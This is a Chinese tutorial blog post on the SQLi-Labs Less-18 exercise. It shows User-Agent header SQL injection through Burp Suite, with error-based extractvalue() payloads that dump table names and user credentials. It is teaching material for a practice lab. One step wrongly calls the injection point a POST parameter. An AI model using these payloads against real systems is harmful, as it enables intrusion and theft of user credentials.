HTTP头部注入 --User-Agent

实验原理

有时候,后台开发人员为了验证客户端HTTP Header (比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(比如 User-Agent、Accept字段等),会对客户端HTTP Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。常见的HTTP Header注入类型包括Cookie注入、Referer注入、User-Agent注
入、XFF注入等。

1.访问SQLi-Labs网站

访问Less-18

http://本机IP/sqli-labs/Less-18

2.利用Burpsuite工具抓包

1)启动Burpsuite并设置代理服务端口

2)设置Firefox代理

 注意:端口要一致

3)开启 Burpsuite的代理拦截功能

 4)利用Burpsuite工具拦截HTTP请求包

在Firefox浏览器访问Less-18登录界面,输入用户名admin、密码任意,然后点击Submit。此时,Burpsuite会拦截到HTTP请求包

 5)将Burpsuite工具拦截到的HTTP请求包发送至 Repeater模块

单击鼠标右键,在弹出的菜单中选择Send to Repeater",将其发送给Burpsuite的 Repeater模块

 3.寻找注入点

在原始HTTP请求包的头部字段User-Agent末尾添加单引号,Send后发现报错!

 在原始HTTP请求包的头部字段User-Agent末尾添加','','')#,Send后发现未报错!

由此可以判断,目标网站在POST参数处存在字符型注入点

 4.获取网站当前所在数据库的库名

...Firefox/97.0' and extractvalue(1, concat( '~',database())),'','')#

 5.获取数据库security的全部表名

...Firefox/97.0' and extractvalue(1, concat( '~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))),'','')#

显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。

注意:extractvalue()函数所能显示的错误信息最大长度为32,如果错误信息超过了最大长度,有可能导致显示不全。因此,有时需要借助 limit来做分行显示

具体可参考基于extractvalue()的报错注入_Z_l123的博客-CSDN博客

6.获取users表的全部字段名

...Firefox/97.0' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),'','')#

显示结果,users表中有id、username和 password三个字段

同上一个步骤相似,为了避免错误信息太长导致显示不全,有时需要借助limit来做分行显示

具体可参考基于extractvalue()的报错注入_Z_l123的博客-CSDN博客

7.获取users表id,username,和password字段的全部值

1)显示第一组数据

...Firefox/97.0' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1))),'','')#

2)显示第二组数据

...Firefox/97.0' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 1,1))),'','')#

 以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。 

  • 3
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值